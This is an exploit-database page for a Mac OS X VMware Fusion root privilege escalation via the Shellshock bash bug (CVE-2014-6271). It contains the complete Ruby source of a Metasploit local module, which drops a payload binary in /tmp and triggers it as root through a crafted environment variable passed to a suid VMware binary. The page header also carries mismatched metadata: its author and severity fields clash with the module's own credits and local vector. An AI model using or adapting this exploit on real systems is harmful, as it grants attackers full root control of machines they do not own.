Exploitalert - Database of Exploits

Mac OS X VMWare Fusion Root Privilege Escalation

CVE	Category	Price	Severity
CVE-2014-6271	CWE-264	$10,000	High

Author	Risk	Exploitation Type	Date
Orange Tsai	High	Local	2014-09-26

CVSS	EPSS	EPSSP
CVSS:9.8/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

http://cxsecurity.com/ascii/WLB-2014090133

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'Mac OS X VMWare Fusion Root Privilege Escalation Exploit', 'Description' => %q{ This abuses the bug in bash environment variables (CVE-2014-6271) to get a suid binary inside of VMWare Fusion to launch our payload as root. }, 'License' => MSF_LICENSE, 'Author' => [ 'Stephane Chazelas', # discovered the bash bug 'juken', # discovered the VMWare priv esc 'joev', # msf module 'mubix' # vmware-vmx-stats ], 'References' => [ [ 'CVE', '2014-6271' ] ], 'Platform' => 'osx', 'Arch' => [ ARCH_X86_64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Mac OS X 10.9 Mavericks x64 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 24 2014' )) register_options([ OptString.new('VMWARE_PATH', [true, "The path to VMware.app", '/Applications/VMware Fusion.app']), ], self.class) end def check check_str = Rex::Text.rand_text_alphanumeric(5) # ensure they are vulnerable to bash env variable bug if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) && cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/ Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def exploit payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary print_status("Writing payload file as '#{payload_file}'") exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) write_file(payload_file, exe) register_file_for_cleanup(payload_file) cmd_exec("chmod +x #{payload_file}") print_status("Running VMWare services...") cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random") end end

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